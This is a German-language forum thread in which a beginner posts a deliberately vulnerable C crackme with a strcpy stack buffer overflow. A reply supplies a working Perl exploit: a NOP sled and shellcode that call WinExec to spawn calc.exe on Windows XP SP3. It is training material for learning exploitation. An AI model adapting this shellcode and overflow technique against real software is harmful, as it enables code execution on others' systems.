[C] Anfänger Buffer Overflow Crackme

Ich habe mich vor einiger Zeit (und nach den Klausuren wieder ;)) mit Buffer Overflows beschäftigt und dabei ist folgendes kleines "CrackMe" entstanden.
Die alten Hasen hier werd sich darüber sicher scheckig lachen, aber für alle blutigen Anfänger ist das ganze vielleicht interessant.
Ich war auf jeden Fall stolz auf mich als ich es endlich geschafft hatte XD

Bei dieses CrackMe gibt es die Sourcen dazu.
Wenn jemand Probleme beim kompilieren haben sollte kann ich das ganze auch noch in ausführbarer Form hochladen.

Kompiliert und getest habe ich bis jetzt unter Debian 32bit per gcc und unter Windows 7 64bit per MinGw. Allerdings sollte es kein Problem sein diese eine Datei mit irgendeinem C Compiler zu kompilieren ;)

Ziel des ganzen ist es durch eine Eingabe die "secFunc" oder vlt. sogar andere :wink: Sachen aufzurufen.

Als Lösung lasse ich alles gelten was die Ausgabe in der "secFunc" oder eine beliebige andere Methode anhaut.

Ein kleiner Tip vielleicht noch: Ich habe mir dazu ein kleines Program geschrieben (ein Script hätte es auch getan) was etwas ausgibt und die Ausgabe direkt in die Executable umleitet (./FiesahKraekah | ./CrackMyBuffer).

Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define LEN     512			// buffersize

void secFunc(void){
	printf("r u a wizard ?\n");
//	exit(1);
}
void weakFunc2(char *data){
	char smallBuffer[LEN];
	strcpy(smallBuffer, data);
	printf("%s copied\n", data);
}

int main(void) {
	char toLarge[1024];
	if(scanf("%1024s", toLarge) < 0){	// \0 ?
		printf("Trouble getting input\n");
		exit(0);
	}
	weakFunc2(toLarge);
	return 0;
}
 
Zuletzt bearbeitet:
Ups, das war irgendwie bei den Aufräumarbeiten abhanden gekommen. ;)
Habs eingefügt.
Falls das ganze bei jemandem gar nicht funktionieren will, vlt. ein bischen an den beiden Bufferwerten schrauben ;)
 
Moin,

damit das hier nicht ungelöst bleibt im Anhang eine Lösung, die calc.exe auf einem Windows XP SP3 spawnt.

Code:
#!/usr/bin/perl -w

my $ret = "\x7C\x80\x17\x1E"; #kernel32.7C80171E C3 RETN
my $shellcode = "\xB9\xAD\x23\x86\x7C\x33\xD2\x88\x54\x24\x08\x8B\xC4\x6A\x01\x50\xFF\xD1";

#0012FB02   B9 AD23867C      MOV ECX,kernel32.WinExec
#0012FB07   33D2             XOR EDX,EDX
#0012FB09   885424 08        MOV BYTE PTR SS:[ESP+8],DL ; Binaere null hinter calc.exe
#0012FB0D   8BC4             MOV EAX,ESP
#0012FB0F   6A 01            PUSH 1
#0012FB11   50               PUSH EAX
#0012FB12   FFD1             CALL ECX                                 ; kernel32.WinExec

my $exploit = "calc.exe\xFF".("\x90" x 393).$shellcode.("\x90" x 96).reverse($ret);

open MYFILE, '>exploit';
print MYFILE $exploit;
close MYFILE

--rdx
 
Zurück
Oben